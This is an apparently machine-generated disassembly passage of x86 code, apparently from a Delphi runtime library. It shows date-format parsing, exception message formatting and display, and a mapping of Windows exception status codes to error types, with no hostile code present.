		mov	edx, offset aEeee ; "eeee"
		call	sub_40004B50
		add	ebx, 3
		jmp	short loc_4000AD49
; ---------------------------------------------------------------------------


loc_4000ACF1:				; CODE XREF: sub_4000ABA4+13Aj
		mov	edx, offset aYy	; "yy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_4000AD17
		mov	eax, edi
		mov	edx, offset dword_4000ADC4
		call	sub_40004B50
		inc	ebx
		jmp	short loc_4000AD49
; ---------------------------------------------------------------------------


loc_4000AD17:				; CODE XREF: sub_4000ABA4+162j
		movzx	eax, byte ptr [esi+ebx-1]
		sub	al, 59h
		jz	short loc_4000AD24
		sub	al, 20h
		jnz	short loc_4000AD32


loc_4000AD24:				; CODE XREF: sub_4000ABA4+17Aj
		mov	eax, edi
		mov	edx, offset dword_4000ADD0
		call	sub_40004B50
		jmp	short loc_4000AD49
; ---------------------------------------------------------------------------


loc_4000AD32:				; CODE XREF: sub_4000ABA4+17Ej
		lea	eax, [ebp+var_14]
		movzx	edx, byte ptr [esi+ebx-1]
		call	sub_40004A6C
		mov	edx, [ebp+var_14]
		mov	eax, edi
		call	sub_40004B50


loc_4000AD49:				; CODE XREF: sub_4000ABA4+120j
					; sub_4000ABA4+14Bj ...
		inc	ebx


loc_4000AD4A:				; CODE XREF: sub_4000ABA4+56j
					; sub_4000ABA4+F7j
		mov	eax, esi
		call	sub_40004B44
		cmp	ebx, eax
		jle	loc_4000AC61


loc_4000AD59:				; CODE XREF: sub_4000ABA4+AAj
					; sub_4000ABA4+B8j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000AD7B


loc_4000AD66:				; CODE XREF: sub_4000ABA4+1D5j
		lea	eax, [ebp+var_14]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000AD74:				; DATA XREF: sub_4000ABA4+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000AD66
; ---------------------------------------------------------------------------


loc_4000AD7B:				; CODE XREF: sub_4000ABA4+1CFj
					; DATA XREF: sub_4000ABA4+1BDo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000ABA4	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_4000AD8C	dd 31h		dword_4000AD90	dd 6767h, 0FFFFFFFFh, 3dword_4000AD9C	dd 676767h	aYyyy_0		db 'yyyy',0             ; DATA XREF: sub_4000ABA4:loc_4000ACC9o
		align 4
		dd 0FFFFFFFFh, 4
aEeee		db 'eeee',0             ; DATA XREF: sub_4000ABA4+13Eo
		align 4
aYy		db 'yy',0               ; DATA XREF: sub_4000ABA4:loc_4000ACF1o
		align 4
		dd 0FFFFFFFFh, 2
dword_4000ADC4	dd 6565h, 0FFFFFFFFh, 1dword_4000ADD0	dd 65h		
; =============== S U B	R O U T	I N E =======================================



sub_4000ADD4	proc near		; CODE XREF: sub_4000ADE0+63p
		test	eax, eax
		jz	short locret_4000ADDD
		sub	eax, 1000h

locret_4000ADDD:			; CODE XREF: sub_4000ADD4+2j
		retn
sub_4000ADD4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000ADE0	proc near		; CODE XREF: sub_4000AF68+Fp

var_458		= byte ptr -458h
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_348		= dword	ptr -348h
var_344		= byte ptr -344h
var_340		= dword	ptr -340h
var_33C		= byte ptr -33Ch
var_338		= dword	ptr -338h
var_334		= byte ptr -334h
var_330		= byte ptr -330h
var_32C		= dword	ptr -32Ch
var_320		= dword	ptr -320h
var_312		= byte ptr -312h
var_212		= byte ptr -212h
var_10D		= byte ptr -10Dh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBA8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		push	1Ch
		lea	eax, [ebp+var_330]
		push	eax
		push	ebx
		call	sub_40006648	; VirtualQuery
		cmp	[ebp+var_320], 1000h
		jnz	short loc_4000AE2A
		push	105h
		lea	eax, [ebp+var_212]
		push	eax
		mov	eax, [ebp+var_32C]
		push	eax
		call	sub_40006598	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4000AE4D


loc_4000AE2A:				; CODE XREF: sub_4000ADE0+2Cj
		push	105h
		lea	eax, [ebp+var_212]
		push	eax
		mov	eax, ds:dword_4001E7F8
		push	eax
		call	sub_40006598	; GetModuleFileNameA
		mov	eax, ebx
		call	sub_4000ADD4
		mov	[ebp+var_8], eax
		jmp	short loc_4000AE56
; ---------------------------------------------------------------------------


loc_4000AE4D:				; CODE XREF: sub_4000ADE0+48j
		sub	ebx, [ebp+var_32C]
		mov	[ebp+var_8], ebx


loc_4000AE56:				; CODE XREF: sub_4000ADE0+6Bj
		lea	eax, [ebp+var_212]
		mov	dl, 5Ch
		call	sub_4000BCD0
		mov	edx, eax
		inc	edx
		lea	eax, [ebp+var_10D]
		mov	ecx, 104h
		call	sub_40008184
		mov	ebx, offset dword_4000AF60
		mov	edi, offset dword_4000AF60
		mov	eax, esi
		mov	edx, ds:off_40006DE0
		call	sub_40003E74
		test	al, al
		jz	short loc_4000AEB2
		mov	eax, [esi+4]
		call	sub_40004D48
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4000815C
		test	eax, eax
		jz	short loc_4000AEB2
		cmp	byte ptr [ebx+eax-1], 2Eh
		jz	short loc_4000AEB2
		mov	edi, offset dword_4000AF64


loc_4000AEB2:				; CODE XREF: sub_4000ADE0+AFj
					; sub_4000ADE0+C4j ...
		push	100h
		lea	eax, [ebp+var_312]
		push	eax
		mov	eax, off_4001B0B8
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_4001E7F8
		call	sub_40005C08
		push	eax
		call	sub_40006738	; LoadStringA
		lea	edx, [ebp+var_458]
		mov	eax, [esi]
		call	sub_40003C6C
		lea	eax, [ebp+var_458]
		mov	[ebp+var_358], eax
		mov	[ebp+var_354], 4
		lea	eax, [ebp+var_10D]
		mov	[ebp+var_350], eax
		mov	[ebp+var_34C], 6
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	[ebp+var_344], 5
		mov	[ebp+var_340], ebx
		mov	[ebp+var_33C], 6
		mov	[ebp+var_338], edi
		mov	[ebp+var_334], 6
		lea	eax, [ebp+var_358]
		push	eax
		push	4
		lea	ecx, [ebp+var_312]
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		call	sub_4000868C
		mov	eax, [ebp+var_4]
		call	sub_4000815C
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4000ADE0	endp

; ---------------------------------------------------------------------------
		align 10h
dword_4000AF60	dd 0							; sub_4000ADE0+9Bo
dword_4000AF64	dd 2Eh		
; =============== S U B	R O U T	I N E =======================================



sub_4000AF68	proc near		; CODE XREF: sub_4000B71Cp

var_444		= byte ptr -444h
var_440		= byte ptr -440h
var_400		= byte ptr -400h

		add	esp, 0FFFFFBBCh
		push	400h
		lea	ecx, [esp+448h+var_400]
		call	sub_4000ADE0
		mov	eax, off_4001B048
		cmp	byte ptr [eax],	0
		jz	short loc_4000AFE4
		mov	eax, off_4001AF4C
		call	sub_400033D8
		call	sub_40002D5C
		lea	eax, [esp+444h+var_400]
		push	eax
		lea	eax, [esp+448h+var_400]
		push	eax
		call	sub_40006710	; CharToOemA
		push	0
		lea	eax, [esp+448h+var_444]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		call	sub_4000815C
		push	eax
		lea	eax, [esp+450h+var_400]
		push	eax
		push	0FFFFFFF4h
		call	sub_400065B0	; GetStdHandle
		push	eax
		call	sub_40006660	; WriteFile
		push	0
		lea	eax, [esp+448h+var_444]
		push	eax
		push	2
		push	offset dword_4000B02C
		push	0FFFFFFF4h
		call	sub_400065B0	; GetStdHandle
		push	eax
		call	sub_40006660	; WriteFile
		jmp	short loc_4000B01A
; ---------------------------------------------------------------------------


loc_4000AFE4:				; CODE XREF: sub_4000AF68+1Cj
		push	40h
		lea	eax, [esp+448h+var_440]
		push	eax
		mov	eax, off_4001AF28
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_4001E7F8
		call	sub_40005C08
		push	eax
		call	sub_40006738	; LoadStringA
		push	2010h
		lea	eax, [esp+448h+var_440]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	0
		call	sub_40006740	; MessageBoxA


loc_4000B01A:				; CODE XREF: sub_4000AF68+7Aj
		add	esp, 444h
		retn
sub_4000AF68	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_4000B02C	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================



sub_4000B030	proc near		; CODE XREF: sub_4000B230+32p
					; sub_4000B2B0+36p ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4000B03F
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000B03F:				; CODE XREF: sub_4000B030+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	eax, [edi+4]
		mov	edx, esi
		call	sub_400048D8
		mov	eax, edi
		test	bl, bl
		jz	short loc_4000B064
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000B064:				; CODE XREF: sub_4000B030+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000B030	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B06C	proc near		; CODE XREF: sub_4000B300+77p
					; sub_4000B488+127p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4000B080
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000B080:				; CODE XREF: sub_4000B06C+Aj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000B0C6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, esi
		call	sub_400086CC
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000B0CD


loc_4000B0BD:				; CODE XREF: sub_4000B06C+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000B0C6:				; DATA XREF: sub_4000B06C+1Do
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000B0BD
; ---------------------------------------------------------------------------


loc_4000B0CD:				; CODE XREF: sub_4000B06C+59j
					; DATA XREF: sub_4000B06C+4Co
		mov	eax, edi
		test	bl, bl
		jz	short loc_4000B0E2
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000B0E2:				; CODE XREF: sub_4000B06C+65j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_4000B06C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000B0EC	proc near		; CODE XREF: sub_4000B3D8+Dp
					; sub_4000B72C+Dp ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4000B0FB
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000B0FB:				; CODE XREF: sub_4000B0EC+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	edx, [edi+4]
		mov	eax, esi
		call	sub_400062F0
		mov	eax, edi
		test	bl, bl
		jz	short loc_4000B120
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000B120:				; CODE XREF: sub_4000B0EC+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000B0EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B128	proc near		; CODE XREF: sub_40007998+14p
					; sub_4000B230+51p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4000B13E
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000B13E:				; CODE XREF: sub_4000B128+Cj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000B194
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		lea	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_400062F0
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		call	sub_400086CC
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000B19B


loc_4000B186:				; CODE XREF: sub_4000B128+71j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000B194:				; DATA XREF: sub_4000B128+1Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000B186
; ---------------------------------------------------------------------------


loc_4000B19B:				; CODE XREF: sub_4000B128+6Bj
					; DATA XREF: sub_4000B128+59o
		mov	eax, edi
		test	bl, bl
		jz	short loc_4000B1B0
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000B1B0:				; CODE XREF: sub_4000B128+77j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_4000B128	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B1BC	proc near		; CODE XREF: sub_40015EE4+84p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4000B1CE
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000B1CE:				; CODE XREF: sub_4000B1BC+8j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	eax, [edi+4]
		mov	edx, esi
		call	sub_400048D8
		mov	eax, [ebp+arg_0]
		mov	[edi+8], eax
		mov	eax, edi
		test	bl, bl
		jz	short loc_4000B1F9
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000B1F9:				; CODE XREF: sub_4000B1BC+2Cj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_4000B1BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000B204	proc near		; DATA XREF: .text:40006E8Co
					; .text:40006EE8o ...
		cmp	byte ptr [eax+0Ch], 0
		jz	short locret_4000B20F
		call	sub_40003C9C

locret_4000B20F:			; CODE XREF: sub_4000B204+4j
		retn
sub_4000B204	endp

; ---------------------------------------------------------------------------
off_4000B210	dd offset dword_4000B214 ; DATA	XREF: sub_4000CC50+151r
dword_4000B214	dd 4554090Eh, 726F7272h, 8636552h, 1000000h		db 3 dup(0)
		dd offset off_40001000
		db 4
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B230	proc near		; CODE XREF: sub_4000B2B0:loc_4000B2EFp

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		xor	ebx, ebx
		call	sub_40002DDC
		mov	esi, eax
		jmp	short loc_4000B241
; ---------------------------------------------------------------------------


loc_4000B240:				; CODE XREF: sub_4000B230+1Dj
		inc	ebx


loc_4000B241:				; CODE XREF: sub_4000B230+Ej
		cmp	ebx, 6
		jg	short loc_4000B24F
		cmp	esi, dword_4001A91C[ebx*8]
		jnz	short loc_4000B240


loc_4000B24F:				; CODE XREF: sub_4000B230+14j
		cmp	ebx, 6
		jg	short loc_4000B269
		mov	ecx, dword_4001A920[ebx*8]
		mov	dl, 1
		mov	eax, ds:off_40006F00
		call	sub_4000B030
		jmp	short loc_4000B286
; ---------------------------------------------------------------------------


loc_4000B269:				; CODE XREF: sub_4000B230+22j
		mov	[esp+10h+var_10], esi
		mov	[esp+10h+var_C], 0
		push	esp
		push	0
		mov	ecx, off_4001AF24
		mov	dl, 1
		mov	eax, ds:off_40006F00
		call	sub_4000B128


loc_4000B286:				; CODE XREF: sub_4000B230+37j
		mov	[eax+0Ch], esi
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4000B230	endp

; ---------------------------------------------------------------------------
		align 10h
off_4000B290	dd offset dword_4000B294 ; DATA	XREF: sub_4000CC50+166r
dword_4000B294	dd 45540A0Eh, 70656378h, 63655274h, 8, 1		dd offset off_40001000
		dd 4

; =============== S U B	R O U T	I N E =======================================



sub_4000B2B0	proc near		; CODE XREF: sub_40002D04+16p
					; DATA XREF: sub_4000B72C+33o ...
		push	ebx
		mov	ebx, edx
		mov	edx, eax
		dec	dl
		jz	short loc_4000B2C5
		dec	dl
		jz	short loc_4000B2CD
		dec	edx
		sub	dl, 16h
		jb	short loc_4000B2D5
		jmp	short loc_4000B2EF
; ---------------------------------------------------------------------------


loc_4000B2C5:				; CODE XREF: sub_4000B2B0+7j
		mov	edx, ds:dword_4001E91C
		jmp	short loc_4000B2F6
; ---------------------------------------------------------------------------


loc_4000B2CD:				; CODE XREF: sub_4000B2B0+Bj
		mov	edx, ds:dword_4001E920
		jmp	short loc_4000B2F6
; ---------------------------------------------------------------------------


loc_4000B2D5:				; CODE XREF: sub_4000B2B0+11j
		movzx	eax, al
		lea	eax, dword_4001A93C[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_4000B030
		mov	edx, eax
		jmp	short loc_4000B2F6
; ---------------------------------------------------------------------------


loc_4000B2EF:				; CODE XREF: sub_4000B2B0+13j
		call	sub_4000B230
		mov	edx, eax


loc_4000B2F6:				; CODE XREF: sub_4000B2B0+1Bj
					; sub_4000B2B0+23j ...
		push	ebx
		mov	eax, edx
		jmp	sub_400042E4
sub_4000B2B0	endp

; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B300	proc near		; CODE XREF: sub_4000B3BC+3p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_4], ebx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000B39C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jz	short loc_4000B335
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_4000491C
		jmp	short loc_4000B342
; ---------------------------------------------------------------------------


loc_4000B335:				; CODE XREF: sub_4000B300+27j
		lea	edx, [ebp+var_4]
		mov	eax, off_4001B038
		call	sub_400062F0


loc_4000B342:				; CODE XREF: sub_4000B300+33j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0Bh
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_1C]
		push	eax
		push	2
		lea	edx, [ebp+var_20]
		mov	eax, off_4001B06C
		call	sub_400062F0
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, ds:off_40007608
		call	sub_4000B06C
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000B3A3


loc_4000B38B:				; CODE XREF: sub_4000B300+A1j
		lea	eax, [ebp+var_20]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000B39C:				; DATA XREF: sub_4000B300+1Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000B38B
; ---------------------------------------------------------------------------


loc_4000B3A3:				; CODE XREF: sub_4000B300+9Bj
					; DATA XREF: sub_4000B300+86o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000B300	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000B3AC	proc near		; CODE XREF: sub_4000B3BC+11p
		mov	esp, ecx
		mov	[esp+0], edx
		mov	ebp, [ebp+0]
		jmp	sub_400042E4
sub_4000B3AC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B3BC	proc near		; DATA XREF: sub_4000B72C+67o
					; .bss:off_4001C024o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_4000B300
		lea	ecx, [ebp+arg_0]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		call	sub_4000B3AC
		pop	ebp
		retn	4
sub_4000B3BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000B3D8	proc near		; CODE XREF: sub_400030B4+9p
					; DATA XREF: sub_4000B72C+74o ...
		mov	ecx, off_4001AF40
		mov	dl, 1
		mov	eax, ds:off_40007668
		call	sub_4000B0EC
		call	sub_400042E4
		retn
sub_4000B3D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000B3F0	proc near		; CODE XREF: sub_4000B470+5p
					; sub_4000B654+20p
		mov	eax, [eax]
		cmp	eax, 0C0000092h
		jg	short loc_4000B425
		jz	short loc_4000B454
		cmp	eax, 0C000008Eh
		jg	short loc_4000B417
		jz	short loc_4000B457
		sub	eax, 0C0000005h
		jz	short loc_4000B460
		sub	eax, 87h
		jz	short loc_4000B44E
		dec	eax
		jz	short loc_4000B45D
		jmp	short loc_4000B46C
; ---------------------------------------------------------------------------


loc_4000B417:				; CODE XREF: sub_4000B3F0+10j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_4000B454
		jz	short loc_4000B45A
		jmp	short loc_4000B46C
; ---------------------------------------------------------------------------


loc_4000B425:				; CODE XREF: sub_4000B3F0+7j
		cmp	eax, 0C0000096h
		jg	short loc_4000B43D
		jz	short loc_4000B463
		sub	eax, 0C0000093h
		jz	short loc_4000B45D
		dec	eax
		jz	short loc_4000B44B
		dec	eax
		jz	short loc_4000B451
		jmp	short loc_4000B46C
; ---------------------------------------------------------------------------


loc_4000B43D:				; CODE XREF: sub_4000B3F0+3Aj
		sub	eax, 0C00000FDh
		jz	short loc_4000B469
		sub	eax, 3Dh
		jz	short loc_4000B466
		jmp	short loc_4000B46C
; ---------------------------------------------------------------------------


loc_4000B44B:				; CODE XREF: sub_4000B3F0+46j
		mov	al, 3
		retn
; ---------------------------------------------------------------------------


loc_4000B44E:				; CODE XREF: sub_4000B3F0+20j
		mov	al, 4
		retn
; ---------------------------------------------------------------------------


loc_4000B451:				; CODE XREF: sub_4000B3F0+49j
		mov	al, 5
		retn
; ---------------------------------------------------------------------------


loc_4000B454:				; CODE XREF: sub_4000B3F0+9j
					; sub_4000B3F0+2Fj
		mov	al, 6
		retn
; ---------------------------------------------------------------------------


loc_4000B457:				; CODE XREF: sub_4000B3F0+12j
		mov	al, 7
		retn
; ---------------------------------------------------------------------------


loc_4000B45A:				; CODE XREF: sub_4000B3F0+31j
		mov	al, 8
		retn
; ---------------------------------------------------------------------------


loc_4000B45D:				; CODE XREF: sub_4000B3F0+23j
					; sub_4000B3F0+43j
		mov	al, 9
		retn
; ---------------------------------------------------------------------------


loc_4000B460:				; CODE XREF: sub_4000B3F0+19j
		mov	al, 0Bh
		retn
; ---------------------------------------------------------------------------


loc_4000B463:				; CODE XREF: sub_4000B3F0+3Cj
		mov	al, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4000B466:				; CODE XREF: sub_4000B3F0+57j
		mov	al, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_4000B469:				; CODE XREF: sub_4000B3F0+52j
		mov	al, 0Eh
		retn
; ---------------------------------------------------------------------------


loc_4000B46C:				; CODE XREF: sub_4000B3F0+25j
					; sub_4000B3F0+33j ...
		mov	al, 16h
		retn
sub_4000B3F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B470	proc near		; DATA XREF: sub_4000B72C+56o
					; .bss:off_4001C00Co
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4000B3F0
		movzx	eax, al
		mov	eax, dword_4001A93C[eax*8]
		pop	ebx
		retn
sub_4000B470	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B488	proc near		; CODE XREF: sub_4000B654+52p

var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= byte ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_125		= byte ptr -125h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE90h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_170], eax
		mov	[ebp+var_14C], eax
		mov	[ebp+var_154], eax
		mov	[ebp+var_150], eax
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000B643
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax-4]
		cmp	dword ptr [ebx+14h], 0
		jnz	short loc_4000B4D9
		lea	edx, [ebp+var_4]
		mov	eax, off_4001B0CC
		call	sub_400062F0
		jmp	short loc_4000B4E6
; ---------------------------------------------------------------------------


loc_4000B4D9:				; CODE XREF: sub_4000B488+40j
		lea	edx, [ebp+var_4]
		mov	eax, off_4001B01C
		call	sub_400062F0


loc_4000B4E6:				; CODE XREF: sub_4000B488+4Fj
		mov	esi, [ebx+18h]
		push	1Ch
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	sub_40006648	; VirtualQuery
		cmp	[ebp+var_10], 1000h
		jnz	loc_4000B5B8
		push	105h
		lea	eax, [ebp+var_125]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_40006598	; GetModuleFileNameA
		test	eax, eax
		jz	loc_4000B5B8
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_148], eax
		mov	[ebp+var_144], 5
		lea	eax, [ebp+var_150]
		lea	edx, [ebp+var_125]
		mov	ecx, 105h
		call	sub_40004AF4
		mov	eax, [ebp+var_150]
		lea	edx, [ebp+var_14C]
		call	sub_400080B0
		mov	eax, [ebp+var_14C]
		mov	[ebp+var_140], eax
		mov	[ebp+var_13C], 0Bh
		mov	eax, [ebp+var_4]
		mov	[ebp+var_138], eax
		mov	[ebp+var_134], 0Bh
		mov	[ebp+var_130], esi
		mov	[ebp+var_12C], 5
		lea	eax, [ebp+var_148]
		push	eax
		push	3
		lea	edx, [ebp+var_154]
		mov	eax, off_4001B060
		call	sub_400062F0
		mov	ecx, [ebp+var_154]
		mov	dl, 1
		mov	eax, ds:off_40007440
		call	sub_4000B06C
		mov	ebx, eax
		jmp	short loc_4000B612
; ---------------------------------------------------------------------------


loc_4000B5B8:				; CODE XREF: sub_4000B488+77j
					; sub_4000B488+94j
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_16C], eax
		mov	[ebp+var_168], 5
		mov	eax, [ebp+var_4]
		mov	[ebp+var_164], eax
		mov	[ebp+var_160], 0Bh
		mov	[ebp+var_15C], esi
		mov	[ebp+var_158], 5
		lea	eax, [ebp+var_16C]
		push	eax
		push	2
		lea	edx, [ebp+var_170]
		mov	eax, off_4001B020
		call	sub_400062F0
		mov	ecx, [ebp+var_170]
		mov	dl, 1
		mov	eax, ds:off_40007440
		call	sub_4000B06C
		mov	ebx, eax


loc_4000B612:				; CODE XREF: sub_4000B488+12Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000B64A


